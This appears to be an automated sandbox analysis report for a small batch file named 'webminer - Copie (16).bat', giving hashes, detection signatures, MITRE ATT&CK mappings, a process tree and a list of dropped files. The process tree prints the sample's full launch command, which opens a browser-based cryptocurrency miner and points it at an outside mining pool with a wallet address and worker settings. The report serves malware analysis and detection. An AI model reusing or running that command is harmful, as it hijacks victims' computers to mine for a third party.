002af564edf0b61828a1877fbed12262c93d3719a81775fea921bbd41fc9a14c

Resubmissions

29/04/2026, 12:54

260429-p5kf3act617

29/04/2026, 12:24

29/04/2026, 12:19

29/04/2026, 12:17

29/04/2026, 12:11

Analysis

max time kernel
899s
max time network
867s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/04/2026, 12:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
webminer - Copie (16).bat
Size 200B
Sample260429-p5kf3act61
SHA256 002af564edf0b61828a1877fbed12262c93d3719a81775fea921bbd41fc9a14c
MD5 23ea1640884615306bbc6f6820db3ce3
SHA1 0ebd1841b9814c0f1677c0441c5c78566c276c88
SHA512 3bc31a78b4487e1502b030b40c1b8ec162b9c6a8e3dce558dea531ee7c6f48539201f45ea6b4127c7e9b96bb656afbbf591e4ca3a40d2517383f64ab8f18b9db
TLSH
T19DD022AD0A40C6D05428FD642B232A7AF7D3C309613268822320E640B28BF9263D135B
MD5 SHA1 SHA512 TLSH

Score

7^/10

miner persistence

Malware Config

Signatures

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 18 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	4172	firefox.exe
Token: SeDebugPrivilege	4172	firefox.exe
Token: SeDebugPrivilege	4172	firefox.exe
Token: SeDebugPrivilege	4172	firefox.exe
Token: SeDebugPrivilege	4172	firefox.exe
Token: SeDebugPrivilege	4172	firefox.exe
Token: SeDebugPrivilege	4172	firefox.exe
Token: SeDebugPrivilege	4172	firefox.exe
Token: SeDebugPrivilege	4172	firefox.exe
Token: SeDebugPrivilege	4172	firefox.exe
Token: SeDebugPrivilege	4172	firefox.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe
4172	firefox.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4172	firefox.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 3476 wrote to memory of 1324	3476	cmd.exe	80
PID 1324 wrote to memory of 4172	1324	firefox.exe	81
PID 1324 wrote to memory of 4172	1324	firefox.exe	81
PID 4172 wrote to memory of 4516	4172	firefox.exe	82
PID 4172 wrote to memory of 4516	4172	firefox.exe	82
PID 4172 wrote to memory of 4516	4172	firefox.exe	82
PID 4172 wrote to memory of 3264	4172	firefox.exe	83
PID 4172 wrote to memory of 3264	4172	firefox.exe	83
PID 4172 wrote to memory of 3264	4172	firefox.exe	83
PID 4172 wrote to memory of 3264	4172	firefox.exe	83
PID 4172 wrote to memory of 1748	4172	firefox.exe	84
PID 4172 wrote to memory of 1748	4172	firefox.exe	84
PID 4172 wrote to memory of 1748	4172	firefox.exe	84
PID 4172 wrote to memory of 1748	4172	firefox.exe	84
PID 4172 wrote to memory of 3668	4172	firefox.exe	85
PID 4172 wrote to memory of 3668	4172	firefox.exe	85
PID 4172 wrote to memory of 3668	4172	firefox.exe	85
PID 4172 wrote to memory of 248	4172	firefox.exe	86
PID 4172 wrote to memory of 248	4172	firefox.exe	86
PID 4172 wrote to memory of 248	4172	firefox.exe	86
PID 4172 wrote to memory of 248	4172	firefox.exe	86
PID 4172 wrote to memory of 2744	4172	firefox.exe	87
PID 4172 wrote to memory of 2744	4172	firefox.exe	87
PID 4172 wrote to memory of 2744	4172	firefox.exe	87
PID 4172 wrote to memory of 2744	4172	firefox.exe	87
PID 4172 wrote to memory of 2140	4172	firefox.exe	88
PID 4172 wrote to memory of 2140	4172	firefox.exe	88
PID 4172 wrote to memory of 2140	4172	firefox.exe	88
PID 4172 wrote to memory of 2140	4172	firefox.exe	88
PID 4172 wrote to memory of 440	4172	firefox.exe	89
PID 4172 wrote to memory of 440	4172	firefox.exe	89
PID 4172 wrote to memory of 440	4172	firefox.exe	89
PID 4172 wrote to memory of 440	4172	firefox.exe	89
PID 4172 wrote to memory of 3112	4172	firefox.exe	90
PID 4172 wrote to memory of 3112	4172	firefox.exe	90
PID 4172 wrote to memory of 3112	4172	firefox.exe	90
PID 4172 wrote to memory of 3112	4172	firefox.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\webminer - Copie (16).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3476
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" "https://webminer.pages.dev?algorithm=cwm_minotaurx&host=minotaurx.na.mine.zpool.ca&port=7019&worker=dgb1qrug3hsk2whxut7z2mp2trtsgju3d0zeyx2ah6l&password=cDDGB&workers=10"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1324
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" https://webminer.pages.dev?algorithm=cwm_minotaurx&host=minotaurx.na.mine.zpool.ca&port=7019&worker=dgb1qrug3hsk2whxut7z2mp2trtsgju3d0zeyx2ah6l&password=cDDGB&workers=10
    3⤵
    - Checks processor information in registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4172
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1968 -prefsLen 27097 -prefMapHandle 1972 -prefMapSize 270279 -ipcHandle 2044 -initialChannelId {0aa65cb1-ac13-49f9-a4d1-fb454ff80684} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
      4⤵
      PID:4516
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2428 -prefsLen 27133 -prefMapHandle 2432 -prefMapSize 270279 -ipcHandle 2440 -initialChannelId {d8bc7d6f-e4c5-4b45-bb5a-436dc89b51ea} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
      4⤵
      PID:3264
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3916 -prefsLen 25164 -prefMapHandle 3920 -prefMapSize 270279 -jsInitHandle 3924 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3932 -initialChannelId {d7f9c62a-2d89-4dd0-9cda-918069454e5d} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
      4⤵
      Checks processor information in registry
      PID:1748
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4068 -prefsLen 27274 -prefMapHandle 4072 -prefMapSize 270279 -ipcHandle 4144 -initialChannelId {05ea6e4b-2467-4f66-8e6c-c643bb0a84c1} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
      4⤵
      PID:3668
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4404 -prefsLen 34773 -prefMapHandle 2584 -prefMapSize 270279 -jsInitHandle 2840 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3168 -initialChannelId {c1c9d90e-976f-4d0b-84f2-79e43cf4bb2b} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
      4⤵
      Checks processor information in registry
      PID:248
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5048 -prefsLen 35010 -prefMapHandle 5052 -prefMapSize 270279 -ipcHandle 5064 -initialChannelId {3290f85a-59b2-454f-8962-fac0b1c4103d} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
      4⤵
      Checks processor information in registry
      PID:2744
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5592 -prefsLen 32952 -prefMapHandle 5596 -prefMapSize 270279 -jsInitHandle 5600 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2464 -initialChannelId {bbf81d94-152a-44a7-b685-299f51555b2a} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:2140
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5676 -prefsLen 32952 -prefMapHandle 5680 -prefMapSize 270279 -jsInitHandle 5684 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5692 -initialChannelId {7b075f5c-751f-478c-ad0e-a9173c3c635e} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:440
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5884 -prefsLen 32952 -prefMapHandle 5888 -prefMapSize 270279 -jsInitHandle 5892 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5900 -initialChannelId {9976bbbe-9f7b-428f-88f3-6211073bc066} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
      4⤵
      Checks processor information in registry
      PID:3112

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

activity-stream.contile.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\activity-stream.contile.json
Size 4KB
SHA256 3e391e642c6a7142ce694ff7c10ca94725c3d94ecc08f4d5faa33dd00fe724fc
MD5 241ee8499577ce02f23a1b4188054545
SHA1 97be918a53b6371ff353f144c97dac2ff89dcdbf
SHA512 c2be1515a5c14f415d58e3c1c672310e982e316b47eb0daac8d0d34cc407e990e3b14b2218b0542d6a0d6cb5bbb8fcb633af873312dbed437543f55f1a70d83b
SSDEEP 96:K65itXowDV5df0918Dl+Ed/JWdV+3ImY9keSol:Kyit4w/dc9il+G8dVtOell
TLSH
T19CA1F9DFC87CC9A74732A7F07C5F27ADF14BB25B8ED59889AB448C21E29511741DAA00
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CD1C116DEEE8F4F97C1806976E10E7E2B349E486

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\cache2\entries\CD1C116DEEE8F4F97C1806976E10E7E2B349E486
Size 13KB
SHA256 ebdfd23d73b31e20e8cb0f70f4522dacc9c139df1f3ff01e7996e9902edd91da
MD5 2d545d689c8f9f3cc83e16bbdba2261a
SHA1 9bd2c3a9e12a3cba37e14bd7ae1ae8f38fdaad61
SHA512 3500e22dffbebcf70a61d568ec81daeae28f1dd7c88cd31de701bacc44e1c066f36655ac6e811651c5762a966f6a93971554c657251dc1846f02fd6921b28a3c
SSDEEP 384:HbaFrLiO024YCFuhw+5EL1pPsac4j0lpDII+3pr:7aAZYCFuK+5EB9sac4ID8LN
TLSH
T1FB527D7DAF0138BA1A2BE294D8AD5214CE04D6BBEEE2D15605143844C7847BDB4F64DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

F58F0605C722D0D848D03D88AC8E3E50223F57B0

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\cache2\entries\F58F0605C722D0D848D03D88AC8E3E50223F57B0
Size 13KB
SHA256 c90865a2a3952b5cc27c7aa5007acc4aa8a7b2a5e78e1ba291e487ad8bfbcc62
MD5 9a98871fad0e04c8b85bcf2d6753d63b
SHA1 c429498259b3557965dfb480f903f7907a2d5935
SHA512 45163a4bf0802fb772c3aa98a2a8ed3d9a14fc953d1bd2001b8a22c98797a0edc9ff3d6e137da340238ed28147837996c34b71674c5f2a6ee4f424cd1d1d8015
SSDEEP 384:HHMO0iO024YtFuhw+5EL1pPsac4j0lpDII+Gm7mw:nrZYtFuK+5EB9sac4ID8LGEL
TLSH
T190528E7EAF1139B90A27D1C4DCFA5205CE08E6BBEFD2D06206543845C680778B8F64DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 502KB
SHA256 87862f4bc8559fbe578389a9501dc01c4c585edb4bb03b238493327296d60171
MD5 e690f995973164fe425f76589b1be2d9
SHA1 e947c4dad203aab37a003194dddc7980c74fa712
SHA512 77991110c1d195616e936d27151d02e4d957be6c20a4f3b3511567868b5ddffc6abbfdc668d17672f5d681f12b20237c7905f9b0daaa6d71dcdac4b38f2448b2
SSDEEP 12288:OACaeJXLVL+PLlSuxcewdMCx1uSremBgBohJmiixAzph3yZeErb:OltBL+PLQFZBgBo2xAzpsrb
TLSH
T199B423CCB77B7628D37A9C7BC257D4F853E9CA2B56423CE80C4E018D6540AB136963E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 11KB
SHA256 ddf3ba4e25a622276755133e0cce5605b83719c7cab3546e09acbfed00d6a986
MD5 25e8156b7f7ca8dad999ee2b93a32b71
SHA1 db587e9e9559b433cee57435cb97a83963659430
SHA512 1211b2fa997ba13ff926aec58b6b35a81d7fe108b0caa8f4d6369d0a37f8481373b78a4b201651243adde9e2b2699ce929482a46226ff6299b0a0e40fe2ddc56
SSDEEP 192:96jbMOTaRNUB3K7L7KqRUGcW9KK+DOO4L5h3tCw0RZvjUFV3bXFwo10+H99uhNA:kjbMegNp7L7KCopFDUtCZvjU73zqFiu0
TLSH
T12A32AFAB081F8454EFA710F628B670CFA1BA95B4067C2B1E9B1819855809BD0C5D2EDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

N5ENIYCZ9YJFSPF9LVBP.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N5ENIYCZ9YJFSPF9LVBP.temp
Size 7KB
SHA256 edf997a775597df7522a2509c5e65388b4d0cbe36595338434672d3d5d1b89cd
MD5 2893b883d1e9016791ce76711a819a42
SHA1 63f18cdef1ccab54c5135db9125b300f167796b7
SHA512 b14758ffa4e2e22dbe820a56a5a2ae1a52a68a3782445d7509eecf260a45d02b65dfe2132273fd04a9d6cb0d69264010e0ba262b1468e65e916d815c9a80fe65
SSDEEP 48:eU3dRJ5Ugdw17/7+zgUEdRJ/6Bdw17/7ygUadRJ/adw17/7AUbUudRJz/sHOPo5v:Vg7/7//97/7z/N7/7lriOcKaPWan7/7n
TLSH
T10CF1DE020BFA0960F2F3CA327B71B7122A77FD01A71F855D828562494E3376459AEF63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 73ec42b03856bc140a33fd1a632ffe832975845f2c73a966a8abb65c312c64bb
MD5 f0137da4b22be21834086fe70b1c6516
SHA1 0be13187e460a0b2be0f2c1956db6fe944d102e1
SHA512 dcce7e2819a01becd96aa0d007ca4e901d0ee290684406dc5cfa0bae0349c01e0a9130b835c5a3898f172dc24bfa9c08f5240cb698dbff018fca82e56007030e
SSDEEP 192:07Ov5zboHW3hyjHh+1d66Joz0dzgCl6mc0dz:1bo23hyjCd66JozQzgC1jd
TLSH
T155E12E64F6298A3BD415027BCDB62F410F39384A988E3F1936EC645C2D562DD3A8E17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 3060db0d458c11aa12e4fa8c3922644aac682b6c306a47f9c468f7d4c795afc9
MD5 d17b0176cccaf95cedb6ae006c62481e
SHA1 e94e07e9efb5fbebad13f17a8b33adca41d96209
SHA512 55ab0af589cf7d97ee7ba30472a1293541efaded717c6488cdb0c0c187876ce000c7178588af398239780f92535b19e677a8ca55ce8f09c1535564804892daa2
SSDEEP 192:U1d66Joz0dzgCl6mc0d+7Ov5zboHW3hyjHhv:ed66JozQzgC1jNbo23hyjJ
TLSH
T100E12F64F629863BD415027BCDB52F410F39384A988E3F1936DC645C2D562DD3A8E17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 edbfa6f3537cee1322d6398b9f76e9547ce872a9ec786cdef10e57d84315b9ed
MD5 746af8a5f4760e69641b1a27601e9bd6
SHA1 12fecf8ca4ebb72010c197cef532b00f8e565506
SHA512 456c477f511973f175785772f93459e9f4b1a3d882cfabc86b71bc1b28ebc2b5f4e4402a1dc6466630b47676b25f047db8f94348506429cb6145b69115f24dbb
SSDEEP 192:h1d66Joz0dzgCl6mc0de7Ov5zboYZ3hyjHhv:fd66JozQzgC1jBboYZ3hyjJ
TLSH
T1E0E11F64F6298A3BD415027BCDB52F410F39384A988E3F1936DC645C2D572DD3A8E17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 a983a01f7943702a5a8fce3e1d0f265f3060ab7320c96508d193451bf3f3aa4a
MD5 0fb2a8a4e2853ca43aaffcf64826e969
SHA1 5a59e737c9a4de3a733068506c75578e09562497
SHA512 87066df8ab87ff94d4e285a970b9028b0f36434f88c8c3ce169c373eaedcd15a721fedfaa1f702f82172dd1e48303282375b0df15b02f302baca3b1153405adf
SSDEEP 192:U1d66Joz0dzgCl6mc0dn7Ov5zboHW3hyjHj:ed66JozQzgC1jibo23hyj
TLSH
T17EE12F64F629863BD419027BCDB62F410F39384A988E3F1936DC645C2D472DD3A8E17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\events\events
Size 1KB
SHA256 27c73863c6929eb38c84b029b820df436f61dca965a3b2c475c1500ba82579ff
MD5 8c7b905ce0ac377ef5c5a2368c6983f2
SHA1 5a5be7b7396d1e651bae0e37aa66d39eeab70949
SHA512 266ba7eec307027990803e13d0bf6e22839d24292d1376b3cb94311f452fe2a79229b7e7f155abfe56499ea85ccfdd421091fcc036101fa8c8c73dd42a647c6f
TLSH
T1DE219A9C39B94D3A98C7E29C7485028E53628E0B08871C830D03CE8DCDD5ADE726A43C
MD5 SHA1 SHA512 TLSH

Submit Download

01ae1a50-90fb-4e1f-9759-426e6602a3bd

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\01ae1a50-90fb-4e1f-9759-426e6602a3bd
Size 280B
SHA256 e6d7ea884bc0cb19dea88e7c40c9f93f7fd13fb609caac4afe30e6cec2a674d1
MD5 7894087d6c94425d8f4d45f8e9a48529
SHA1 1b4fff35b73b24c979b7ef49b6153ca87ff7161b
SHA512 f0616643ef8fc7fa7dabf7afe62a0c20bce615fff994e78a690d19d5e6ad27be55dd00e9c2e6c07101824b631432ea0c7bc28221ef74555fe441e3517fa7975a
TLSH
T1BCD02BD16C98236D0C7D5F0BF1B429E230AB8C3722F558509E9245B456FDDD95151C16
MD5 SHA1 SHA512 TLSH

Submit Download

0f06bcab-cc8d-449a-bb60-d3721e65acc0

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\0f06bcab-cc8d-449a-bb60-d3721e65acc0
Size 883B
SHA256 daef5068bf0382e75bc003e04d7df116cfd958baca5b4bfaf47bdb34a6b676a1
MD5 488abe8ff84acc091fdfc9b1acfcbd2f
SHA1 268fe3c2d05e8cb192b71d8549b63eee7045fca7
SHA512 2040e2127769494b510e9355b6c79b4ec27d95cf8cfbf637c6b2330dd7b6534b30e7af2a0338a3fb2c3047be580673b3c993294b606bd30e5f9bc3a51901dd43
TLSH
T14E110080A635B8F3DD78D38B89717B025BE47823C0C645143EB46D080F7D12EE366207
MD5 SHA1 SHA512 TLSH

Submit Download

236bfa44-bca2-4a7e-bbf9-4606b364d8dc

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\236bfa44-bca2-4a7e-bbf9-4606b364d8dc
Size 2KB
SHA256 b88dfc89d5367ff0843d44be8d9c5ab4a434045b1b07ed533906688972d7f6c9
MD5 01243e57eb780cc1093c3aa02b321374
SHA1 4c658f9b1b8373e90e51bd70e887f3fbdbded9ab
SHA512 bb647a341eb03f99555ed816804c67480d18dc870ae8e82939542da3939e77e88826c9d8ef60f4d07ef1081626b16dc94e8346bffa98596dfdccdc69ab04b09e
TLSH
T16741462C76785CBB9CDBF15DA452334E63609A0340C61C832E51DE0C8D966EB776A52F
MD5 SHA1 SHA512 TLSH

Submit Download

531f114f-38b2-4259-9781-f21b6fec9233

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\531f114f-38b2-4259-9781-f21b6fec9233
Size 16KB
SHA256 a99bd8748d51d1dabca456654a68a2f29678c707a5b3898dbb5708da0c0f1450
MD5 607673741de9c338d17a528fecf81c8d
SHA1 203bf482a56f8679990d6f04936a77c363662144
SHA512 57c435993ef7cdd6a3d3e511123b7bebc8550de213a75f57323d6b5b15c5ef50701589184d9319a7f28f8e9e06b6f9d99924ae2a19c85c067bc079d82b92f31f
SSDEEP 192:vgdADMu0q4oEVbfeL1SKWWem4HaHM0JJP/EU1G/b6eOcWBJ1hn5iBd2SonzxJEBF:v7r4HoMe51GTcNv5iBd2SonlIF
TLSH
T1AC72B816186049BA9251E36898FCBFC3E6F528CF4C418FCA9BE4BD486DDE06D512784F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

577313d2-8026-4e47-8da5-1c4609620193

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\577313d2-8026-4e47-8da5-1c4609620193
Size 931B
SHA256 5f9aabb1dc4fe6cfa41711b1eb13b34ec77f2656762411618746594e16684282
MD5 dbfb2fe505ce3e4a12231ef25f7e1805
SHA1 f13e6acb8c3e17e3e29bbe30b61add7403adce15
SHA512 f00a47b86338b6681bfc49b7200b40bd3e61d8d69c718c2b2c4d5bb382738051e00171d1c31c67f8697a555aaf3ae407b5b227125f6721c1bb4dffb4c49853c1
TLSH
T133111450A965BCF29C7CD38B95B5775357E07423C0C509083E909A180EBE21A9356607
MD5 SHA1 SHA512 TLSH

Submit Download

59aaf869-9338-4f4d-b2b0-80d901db0b81

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\59aaf869-9338-4f4d-b2b0-80d901db0b81
Size 235B
SHA256 e0f5f931cca46e4398888aa77ea38f3a26ceaf6f9b30fdaf6129c4e03a351c8b
MD5 4340a1ea50205c5b2efc070851925c68
SHA1 7f2cb6436c3a3fed37cbb9ff54361c745b6c0b00
SHA512 3a8e1a3e90a79428002ecdf6b77bf9fdc54de00a376720786e637622a5a2c1d22d582c2958ed5a9d4b7c1595453fbec3d02f156e05382a9d4cb937233f5b74dd
TLSH
T1D8D0979128A8279C48080F0FB0B07CE2308E4C3328A4A8208E5045388DFEDC4025185B
MD5 SHA1 SHA512 TLSH

Submit Download

extensions.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\extensions.json
Size 16KB
SHA256 fc911ebb77bb5b37db91033427d471fa60824c23419e82e7012bc5b47184958f
MD5 cef1aa7b029827c29ca5e700e2662bd0
SHA1 eea9079a321140b2e450f9cf18789d2fc5e60ae2
SHA512 6353c16196cead244225480a4ff0b0ff2372b885aa5377800b8b72ccb47a40693cd93ed11c4881607d85286d821758379e5f0c2dba8e47a9b091e69da9c6c930
SSDEEP 384:CkI4vDUmldvG8dhWa94zY96oRL4H5L4P1L4HtQL4HVL4HL+Z4hf:1I47RfrXX4Y6y4R494NS414Q4h
TLSH
T16772421545048EB8298FA79BAA367E01C37D473B60855C78F4DD8FC802FA5B902FB65B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.dll
Size 1.1MB
SHA256 37c005a7789747b412d6c0a6a4c30d15732da3d857b4f94b744be1a67231b651
MD5 626073e8dcf656ac4130e3283c51cbba
SHA1 7e3197e5792e34a67bfef9727ce1dd7dc151284c
SHA512 eebdeef5e47aeadfeebdbab8625f4ec91e15c4c4e4db4be91ea41be4a3da1e1afeed305f6470e5d6b2a31c41cbfb5548b35a15fccd7896d3fde7cdf402d7a339
SSDEEP 24576:qSPda8zU7qNBLR+R1Uq6S/gCfTuP4PIKth58yS0fDrx1:xfeqNBR+cq6S+4QKtkyS0fv
TLSH
T159458D0AF2A641F8D41ED470966EA722FA79344C173568EF169587202F77BC0AB3EF14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.info

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.info
Size 116B
SHA256 fe7686a6281f0ab519c32c788ce0da0d01640425018dcffcfcb81105757f6fe6
MD5 ae29912407dfadf0d683982d4fb57293
SHA1 0542053f5a6ce07dc206f69230109be4a5e25775
